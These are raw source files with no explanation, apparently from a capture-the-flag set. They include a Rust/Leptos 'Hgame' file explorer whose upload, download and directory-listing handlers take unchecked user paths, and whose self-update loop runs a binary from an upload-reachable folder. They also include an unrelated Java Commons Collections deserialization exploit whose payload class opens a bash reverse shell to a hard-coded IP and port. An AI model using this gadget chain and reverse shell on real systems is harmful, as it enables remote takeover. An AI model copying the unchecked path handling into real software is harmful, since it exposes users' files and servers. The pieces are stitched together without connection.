1
 [package]
2
name = "easyuu"
3
version = "0.1.0"
4
edition = "2024"
5

6
[lib]
7
crate-type = ["cdylib", "rlib"]
8

9
[dependencies]
10
leptos = { version = "0.8.15", features = ["multipart", "nightly"] }
11
leptos_router = { version = "0.8.11", features = ["nightly"] }
12
axum = { version = "0.8.8", optional = true }
13
console_error_panic_hook = { version = "0.1.7", optional = true }
14
leptos_axum = { version = "0.8.7", optional = true }
15
leptos_meta = { version = "0.8.5" }
16
tokio = { version = "1.49.0", features = ["full"], optional = true }
17
wasm-bindgen = { version = "0.2.108", optional = true }
18
serde = { version = "1.0.228", features = ["derive"] }
19
tokio-util = "0.7.18"
20
self-replace = { version = "1.5.0", optional = true }
21
semver = "1.0.27"
22

23
[features]
24
hydrate = [
25
    "leptos/hydrate",
26
    "dep:console_error_panic_hook",
27
    "dep:wasm-bindgen",
28
]
29
ssr = [
30
    "dep:axum",
31
    "dep:tokio",
32
    "dep:leptos_axum",
33
    "dep:self-replace",
34
    "leptos/ssr",
35
    "leptos_meta/ssr",
36
    "leptos_router/ssr",
37
]
38

39
# Defines a size-optimized profile for the WASM bundle in release mode
40
[profile.wasm-release]
41
inherits = "release"
42
opt-level = 'z'
43
lto = true
44
codegen-units = 1
45
panic = "abort"
46

47
[package.metadata.leptos]
48
# The name used by wasm-bindgen/cargo-leptos for the JS/WASM bundle. Defaults to the crate name
49
output-name = "easyuu"
50

51
# The site root folder is where cargo-leptos generate all output. WARNING: all content of this folder will be erased on a rebuild. Use it in your server setup.
52
site-root = "target/site"
53

54
# The site-root relative folder where all compiled output (JS, WASM and CSS) is written
55
# Defaults to pkg
56
site-pkg-dir = "pkg"
57

58
# [Optional] The source CSS file. If it ends with .sass or .scss then it will be compiled by dart-sass into CSS. The CSS is optimized by Lightning CSS before being written to <site-root>/<site-pkg>/app.css
59
style-file = "style/main.scss"
60
# Assets source dir. All files found here will be copied and synchronized to site-root.
61
# The assets-dir cannot have a sub directory with the same name/path as site-pkg-dir.
62
#
63
# Optional. Env: LEPTOS_ASSETS_DIR.
64
assets-dir = "public"
65

66
# The IP and port (ex: 127.0.0.1:3000) where the server serves the content. Use it in your server setup.
67
site-addr = "0.0.0.0:3000"
68

69
# The port to use for automatic reload monitoring
70
reload-port = 3001
71

72
# [Optional] Command to use when running end2end tests. It will run in the end2end dir.
73
#   [Windows] for non-WSL use "npx.cmd playwright test"
74
#   This binary name can be checked in Powershell with Get-Command npx
75
end2end-cmd = "npx playwright test"
76
end2end-dir = "end2end"
77

78
#  The browserlist query used for optimizing the CSS.
79
browserquery = "defaults"
80

81
# The environment Leptos will run in, usually either "DEV" or "PROD"
82
env = "DEV"
83

84
# The features to use when compiling the bin target
85
#
86
# Optional. Can be over-ridden with the command line parameter --bin-features
87
bin-features = ["ssr"]
88

89
# If the --no-default-features flag should be used when compiling the bin target
90
#
91
# Optional. Defaults to false.
92
bin-default-features = false
93

94
# The features to use when compiling the lib target
95
#
96
# Optional. Can be over-ridden with the command line parameter --lib-features
97
lib-features = ["hydrate"]
98

99
# If the --no-default-features flag should be used when compiling the lib target
100
#
101
# Optional. Defaults to false.
102
lib-default-features = false
103

104
# The profile to use for the lib target when compiling for release
105
#
106
# Optional. Defaults to "release".
107
lib-profile-release = "wasm-release"

1
use crate::error_template::ErrorTemplate;
2
use leptos::prelude::*;
3
use leptos::server_fn::codec::{MultipartData, MultipartFormData};
4
use leptos::wasm_bindgen::JsCast;
5
use leptos::web_sys::{FormData, HtmlFormElement, SubmitEvent};
6
use leptos_meta::{MetaTags, Stylesheet, Title, provide_meta_context};
7
use leptos_router::{
8
    StaticSegment,
9
    components::{Route, Router, Routes},
10
};
11
use serde::{Deserialize, Serialize};
12

13
#[cfg(feature = "ssr")]
14
use axum::{extract::Path, response::IntoResponse};
15

16
#[derive(Clone, Debug, Serialize, Deserialize)]
17
pub struct FileEntry {
18
    pub name: String,
19
    pub is_dir: bool,
20
    pub size: u64,
21
}
22

23
pub fn shell(options: LeptosOptions) -> impl IntoView {
24
    view! {
25
        <!DOCTYPE html>
26
        <html lang="en">
27
            <head>
28
                <meta charset="utf-8" />
29
                <meta name="viewport" content="width=device-width, initial-scale=1" />
30
                <AutoReload options=options.clone() />
31
                <HydrationScripts options />
32
                <MetaTags />
33
            </head>
34
            <body>
35
                <App />
36
            </body>
37
        </html>
38
    }
39
}
40

41
#[cfg(feature = "ssr")]
42
pub async fn download_file(Path(filename): Path<String>) -> impl IntoResponse {
43
    use axum::{
44
        body::Body,
45
        http::{StatusCode, header},
46
    };
47
    use std::path::PathBuf;
48
    use tokio::fs::File;
49
    use tokio_util::io::ReaderStream;
50

51
    let base_dir = PathBuf::from("./uploads");
52
    let file_path = base_dir.join(&filename);
53

54
    let file = match File::open(&file_path).await {
55
        Ok(f) => f,
56
        Err(_) => return StatusCode::NOT_FOUND.into_response(),
57
    };
58

59
    let size = match file.metadata().await {
60
        Ok(meta) => meta.len(),
61
        Err(_) => return StatusCode::INTERNAL_SERVER_ERROR.into_response(),
62
    };
63

64
    let stream = ReaderStream::new(file);
65
    let body = Body::from_stream(stream);
66

67
    let headers = [
68
        (
69
            header::CONTENT_DISPOSITION,
70
            format!("attachment; filename=\"{}\"", filename),
71
        ),
72
        (header::CONTENT_LENGTH, size.to_string()),
73
        (header::CONTENT_TYPE, "application/octet-stream".into()),
74
    ];
75

76
    (headers, body).into_response()
77
}
78

79
#[server(prefix = "/api", endpoint = "list_dir")]
80
pub async fn list_dir(path: String) -> Result<Vec<FileEntry>, ServerFnError> {
81
    use tokio::fs;
82

83
    let mut entries = Vec::new();
84
    let mut dir = fs::read_dir(&path).await?;
85

86
    while let Some(entry) = dir.next_entry().await? {
87
        let meta = entry.metadata().await?;
88

89
        entries.push(FileEntry {
90
            name: entry.file_name().to_string_lossy().to_string(),
91
            is_dir: meta.is_dir(),
92
            size: meta.len(),
93
        });
94
    }
95

96
    Ok(entries)
97
}
98

99
#[server(prefix = "/api",endpoint = "upload_file",
100
    input = MultipartFormData,
101
)]
102
pub async fn upload_file(data: MultipartData) -> Result<usize, ServerFnError> {
103
    use std::path::PathBuf;
104
    use tokio::fs::OpenOptions;
105
    use tokio::io::AsyncWriteExt;
106

107
    let mut data = data.into_inner().unwrap();
108
    let mut count = 0;
109
    let mut base_dir = PathBuf::from("./uploads");
110

111
    while let Ok(Some(mut field)) = data.next_field().await {
112
        match field.name().as_deref() {
113
            Some("path1") => {
114
                if let Ok(p) = field.text().await {
115
                    base_dir = PathBuf::from(p);
116
                }
117
                continue;
118
            }
119
            Some("file") => {
120
                let name = field.file_name().unwrap_or_default().to_string();
121
                let path = base_dir.join(&name);
122
                let mut file = OpenOptions::new()
123
                    .create(true)
124
                    .write(true)
125
                    .truncate(true)
126
                    .open(path)
127
                    .await?;
128
                while let Ok(Some(chunk)) = field.chunk().await {
129
                    let len = chunk.len();
130
                    count += len;
131
                    file.write_all(&chunk).await?;
132
                }
133
                file.flush().await?;
134
            }
135
            _ => continue,
136
        }
137
    }
138

139
    Ok(count)
140
}
141

142
#[component]
143
pub fn ListDir() -> impl IntoView {
144
    let files = use_context::<Resource<Result<Vec<FileEntry>, ServerFnError>>>().unwrap();
145

146
    view! {
147
        <Transition fallback=move || view! { <p>"Loading..."</p> }>
148
            <ErrorBoundary fallback=|errors| view! { <ErrorTemplate errors /> }>
149
                <ul>
150
                    {move || {
151
                        Suspend::new(async move {
152
                            files
153
                                .await
154
                                .map(|files| {
155
                                    files
156
                                        .into_iter()
157
                                        .map(|f| {
158
                                            view! {
159
                                                <li>
160
                                                    <a
161
                                                        href=format!("/api/download_file/{}", f.name)
162
                                                        rel="external"
163
                                                    >
164
                                                        {f.name.clone()}
165
                                                    </a>
166
                                                </li>
167
                                            }
168
                                        })
169
                                        .collect_view()
170
                                })
171
                        })
172
                    }}
173
                </ul>
174
            </ErrorBoundary>
175
        </Transition>
176
    }
177
}
178

179
#[component]
180
pub fn UploadFile() -> impl IntoView {
181
    let files = use_context::<Resource<Result<Vec<FileEntry>, ServerFnError>>>().unwrap();
182

183
    let upload_action = Action::new_local(|data: &FormData| upload_file(data.clone().into()));
184

185
    let on_submit = move |ev: SubmitEvent| {
186
        ev.prevent_default();
187
        let target = ev.target().unwrap().unchecked_into::<HtmlFormElement>();
188
        let form_data = FormData::new_with_form(&target).unwrap();
189
        upload_action.dispatch_local(form_data);
190
    };
191

192
    Effect::new(move |_| {
193
        if let Some(Ok(_)) = upload_action.value().get() {
194
            files.refetch();
195
        }
196
    });
197

198
    view! {
199
        <h3>File Upload</h3>
200
        <form on:submit=on_submit>
201
            <input type="file" name="file" />
202
            <input type="submit" />
203
        </form>
204
        <p>
205
            {move || {
206
                if upload_action.input().read().is_none() && upload_action.value().read().is_none()
207
                {
208
                    "Upload a file.".to_string()
209
                } else if upload_action.pending().get() {
210
                    "Uploading...".to_string()
211
                } else if let Some(Ok(value)) = upload_action.value().get() {
212
                    format!("Upload successful: {} bytes uploaded.", value)
213
                } else {
214
                    format!("{:?}", upload_action.value().get())
215
                }
216
            }}
217

218
        </p>
219
    }
220
}
221

222
#[component]
223
pub fn App() -> impl IntoView {
224
    // Provides context that manages stylesheets, titles, meta tags, etc.
225
    provide_meta_context();
226

227
    view! {
228
        // injects a stylesheet into the document <head>
229
        // id=leptos means cargo-leptos will hot-reload this stylesheet
230
        <Stylesheet id="leptos" href="/pkg/easyuu.css" />
231

232
        // sets the document title
233
        <Title text="Welcome to Hgame" />
234

235
        // content for this welcome page
236
        <Router>
237
            <main>
238
                <Routes fallback=|| "Page not found.".into_view()>
239
                    <Route path=StaticSegment("") view=HomePage />
240
                </Routes>
241
            </main>
242
        </Router>
243
    }
244
}
245

246
/// Renders the home page of your application.
247
#[component]
248
fn HomePage() -> impl IntoView {
249
    let path = RwSignal::new("./uploads".to_string());
250
    let files = Resource::new(move || path.get(), |path| list_dir(path));
251
    let version = env!("CARGO_PKG_VERSION").to_string();
252

253
    provide_context(files);
254

255
    view! {
256
        <h1>"Welcome to Hgame web file explorer!"</h1>
257
        <h2>"Directory listing for /uploads"</h2>
258
        <hr />
259
        <UploadFile />
260
        <hr />
261
        <ListDir />
262
        <footer>
263
            <hr />
264
            <p>"Current version: " {version}</p>
265
        </footer>
266
    }
267
}

1
use semver::Version;
2
use std::env;
3

4
const VERSION: &str = env!("CARGO_PKG_VERSION");
5

6
#[cfg(feature = "ssr")]
7
#[tokio::main]
8
async fn main() {
9
    use axum::{Router, routing::get};
10
    use easyuu::app::*;
11
    use leptos::{logging::log, prelude::*};
12
    use leptos_axum::{LeptosRoutes, generate_route_list};
13

14
    let args: Vec<String> = env::args().collect();
15

16
    if args.len() > 1 && args[1] == "--version" {
17
        println!("{}", VERSION);
18
        return;
19
    }
20

21
    let conf = get_configuration(None).expect("Failed to get configuration");
22
    let addr = conf.leptos_options.site_addr;
23
    let leptos_options = conf.leptos_options;
24
    // Generate the list of routes in your Leptos App
25
    let routes = generate_route_list(App);
26

27
    let app = Router::new()
28
        .route("/api/download_file/{filename}", get(download_file))
29
        .leptos_routes(&leptos_options, routes, {
30
            let leptos_options = leptos_options.clone();
31
            move || shell(leptos_options.clone())
32
        })
33
        .fallback(leptos_axum::file_and_error_handler(shell))
34
        .with_state(leptos_options);
35

36
    // start self update watcher
37
    tokio::spawn(update_watcher());
38

39
    // run our app with hyper
40
    // `axum::Server` is a re-export of `hyper::Server`
41
    log!("listening on http://{}", &addr);
42
    let listener = tokio::net::TcpListener::bind(&addr)
43
        .await
44
        .expect("Failed to bind to address");
45
    axum::serve(listener, app.into_make_service())
46
        .await
47
        .expect("Server failed");
48
}
49

50
#[cfg(feature = "ssr")]
51
async fn update_watcher() {
52
    use tokio::time::{Duration, sleep};
53

54
    let current_version = match Version::parse(VERSION) {
55
        Ok(v) => v,
56
        Err(e) => {
57
            eprintln!("Failed to parse current version: {}", e);
58
            return;
59
        }
60
    };
61

62
    let check_interval = Duration::from_secs(5);
63

64
    loop {
65
        sleep(check_interval).await;
66

67
        if let Some(new_version) = get_new_version().await {
68
            if new_version > current_version {
69
                let path = match env::current_exe() {
70
                    Ok(p) => p,
71
                    Err(e) => {
72
                        eprintln!("Failed to get current executable path: {}", e);
73
                        continue;
74
                    }
75
                };
76

77
                if let Err(e) = update().await {
78
                    eprintln!("Update failed: {}", e);
79
                } else {
80
                    println!("Update succeeded, restarting...");
81
                    restart_myself(path);
82
                }
83
            }
84
        }
85
    }
86
}
87

88
#[cfg(feature = "ssr")]
89
async fn get_new_version() -> Option<Version> {
90
    use tokio::process::Command;
91

92
    let output = Command::new("./update/easyuu")
93
        .arg("--version")
94
        .output()
95
        .await
96
        .ok()?;
97

98
    let version_str = String::from_utf8(output.stdout).ok()?.trim().to_string();
99
    Version::parse(&version_str).ok()
100
}
101

102
#[cfg(feature = "ssr")]
103
async fn update() -> Result<(), Box<dyn std::error::Error>> {
104
    let new_binary = "./update/easyuu";
105
    self_replace::self_replace(&new_binary)?;
106
    // fs::remove_file(&new_binary)?;
107
    Ok(())
108
}
109

110
#[cfg(feature = "ssr")]
111
fn restart_myself(path: std::path::PathBuf) {
112
    use std::os::unix::process::CommandExt;
113
    use std::process::Command;
114

115
    let _ = Command::new(path).exec();
116
}
117

118
#[cfg(not(feature = "ssr"))]
119
pub fn main() {
120
    // no client-side main function
121
    // unless we want this to work with e.g., Trunk for pure client-side testing
122
    // see lib.rs for hydration function instead
123
}

1
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
2
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
3
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
4
import org.apache.commons.collections.Transformer;
5
import org.apache.commons.collections.functors.ChainedTransformer;
6
import org.apache.commons.collections.functors.ConstantTransformer;
7
import org.apache.commons.collections.functors.InstantiateTransformer;
8
import org.apache.commons.collections.keyvalue.TiedMapEntry;
9
import org.apache.commons.collections.map.LazyMap;
10

11
import javax.xml.transform.Templates;
12
import java.io.*;
13
import java.lang.annotation.Target;
14
import java.lang.reflect.Constructor;
15
import java.lang.reflect.Field;
16
import java.lang.reflect.InvocationHandler;
17
import java.lang.reflect.Proxy;
18
import java.nio.file.Files;
19
import java.nio.file.Paths;
20
import java.util.HashMap;
21
import java.util.Map;
22
public class EXP {
23
    public static void main(String[] args) throws Exception
24
    {
25
        TemplatesImpl templates = new TemplatesImpl();
26
        Class templatesClass = templates.getClass();
27
        Field nameField = templatesClass.getDeclaredField("_name");
28
        nameField.setAccessible(true);
29
        nameField.set(templates,"codes");
30

31
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
32
        bytecodesField.setAccessible(true);
33
        byte[] evil = Files.readAllBytes(Paths.get("D:\\tools_D\\java\\java_learn\\cc_chain\\cc3_\\src\\main\\java\\codes.class"));
34
        byte[][] codes = {evil};
35
        bytecodesField.set(templates,codes);
36

37
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
38
        tfactoryField.setAccessible(true);
39
        tfactoryField.set(templates, new TransformerFactoryImpl());
40

41
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
42
                new Object[]{templates});
43
        Transformer[] transformers = new Transformer[]{
44
                new ConstantTransformer(TrAXFilter.class),
45
                instantiateTransformer
46
        };
47
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
48
        HashMap<Object, Object> hashMap = new HashMap<>();
49
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five"));
50
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
51
        HashMap<Object, Object> expMap = new HashMap<>();
52
        expMap.put(tiedMapEntry, "value");
53
        lazyMap.remove("key");
54

55
        Class<LazyMap> lazyMapClass = LazyMap.class;
56
        Field factoryField = lazyMapClass.getDeclaredField("factory");
57
        factoryField.setAccessible(true);
58
        factoryField.set(lazyMap, chainedTransformer);
59

60
        serialize(expMap);
61
    }
62

63
    public static void setFieldValue(Object object, String field_name, Object filed_value) throws Exception {
64
        Class clazz = object.getClass();
65
        Field declaredField = clazz.getDeclaredField(field_name);
66
        declaredField.setAccessible(true);
67
        declaredField.set(object, filed_value);
68
    }
69

70
    public static void serialize(Object obj) throws Exception {
71
        java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
72
        try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
73
            oos.writeObject(obj);
74
        }
75
        byte[] serialized = baos.toByteArray();
76
        Files.write(Paths.get("trAXFilter.bin"), serialized);
77
        String b64 = java.util.Base64.getEncoder().encodeToString(serialized);
78
        Files.write(Paths.get("trAXFilter.b64"), b64.getBytes(java.nio.charset.StandardCharsets.UTF_8));
79
        System.out.println(b64);
80
    }
81
}
82

83

84
// codes.java
85
import com.sun.org.apache.xalan.internal.xsltc.DOM;
86
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
87
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
88
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
89
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
90

91
public class codes extends AbstractTranslet {
92
    static {
93
        try{
94
            String[] cmdArray = {"/bin/bash", "-c", "bash -i >& /dev/tcp/121.41.188.46/7777 0>&1"};
95
            Runtime.getRuntime().exec(cmdArray);
96
        }
97
        catch(Exception e){
98
            e.printStackTrace();
99
        }
100
    }
101

102
    @Override
103
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
104

105
    @Override
106
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
107
}